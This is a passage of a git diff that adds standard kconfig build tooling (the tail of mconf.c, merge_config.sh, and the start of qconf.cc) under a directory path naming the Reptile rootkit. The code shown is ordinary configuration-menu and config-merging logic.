+"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " + "Legend: [*] feature is selected [ ] feature is excluded"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else { + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} + +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue Buildroot configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh new file mode 100644 index 0000000..81b0c61 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh @@ -0,0 +1,150 @@ +#!/bin/sh +# merge_config.sh - Takes a list of config fragment values, and merges +# them one by one. Provides warnings on overridden values, and specified +# values that did not make it to the resulting .config file (due to missed +# dependencies or config symbol removal). +# +# Portions reused from kconf_check and generate_cfg: +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg +# +# Copyright (c) 2009-2010 Wind River Systems, Inc. +# Copyright 2011 Linaro +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. + +clean_up() { + rm -f $TMP_FILE + exit +} +trap clean_up HUP INT TERM + +usage() { + echo "Usage: $0 [OPTIONS] [CONFIG [...]]" + echo " -h display this help text" + echo " -m only merge the fragments, do not execute the make command" + echo " -n use allnoconfig instead of alldefconfig" + echo " -r list redundant entries when merging fragments" + echo " -O dir to put generated output files" +} + +MAKE=true +ALLTARGET=alldefconfig +WARNREDUN=false +OUTPUT=. + +while true; do + case $1 in + "-n") + ALLTARGET=allnoconfig + shift + continue + ;; + "-m") + MAKE=false + shift + continue + ;; + "-h") + usage + exit + ;; + "-r") + WARNREDUN=true + shift + continue + ;; + "-O") + if [ -d $2 ];then + OUTPUT=$(echo $2 | sed 's/\/*$//') + else + echo "output directory $2 does not exist" 1>&2 + exit 1 + fi + shift 2 + continue + ;; + *) + break + ;; + esac +done + +INITFILE=$1 +shift; + +MERGE_LIST=$* +SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p" +TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX) + +echo "Using $INITFILE as base" +cat $INITFILE > $TMP_FILE + +# Merge files, printing warnings on overrided values +for MERGE_FILE in $MERGE_LIST ; do + echo "Merging $MERGE_FILE" + CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE) + + for CFG in $CFG_LIST ; do + grep -q -w $CFG $TMP_FILE + if [ $? -eq 0 ] ; then + PREV_VAL=$(grep -w $CFG $TMP_FILE) + NEW_VAL=$(grep -w $CFG $MERGE_FILE) + if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then + echo Value of $CFG is redefined by fragment $MERGE_FILE: + echo Previous value: $PREV_VAL + echo New value: $NEW_VAL + echo + elif [ "$WARNREDUN" = "true" ]; then + echo Value of $CFG is redundant by fragment $MERGE_FILE: + fi + sed -i "/$CFG[ =]/d" $TMP_FILE + fi + done + cat $MERGE_FILE >> $TMP_FILE +done + +if [ "$MAKE" = "false" ]; then + cp $TMP_FILE $OUTPUT/.config + echo "#" + echo "# merged configuration written to $OUTPUT/.config (needs make)" + echo "#" + clean_up + exit +fi + +# If we have an output dir, setup the O= argument, otherwise leave +# it blank, since O=. will create an unnecessary ./source softlink +OUTPUT_ARG="" +if [ "$OUTPUT" != "." ] ; then + OUTPUT_ARG="O=$OUTPUT" +fi + + +# Use the merged file as the starting point for: +# alldefconfig: Fills in any missing symbols with Kconfig default +# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + +# Check all specified config values took (might have missed-dependency issues) +for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do + + REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE) + ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config) + if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then + echo "Value requested for $CFG not in final .config" + echo "Requested value: $REQUESTED_VAL" + echo "Actual value: $ACTUAL_VAL" + echo "" + fi +done + +clean_up diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc new file mode 100644 index 0000000..f630567 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings("buildroot.org", "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : 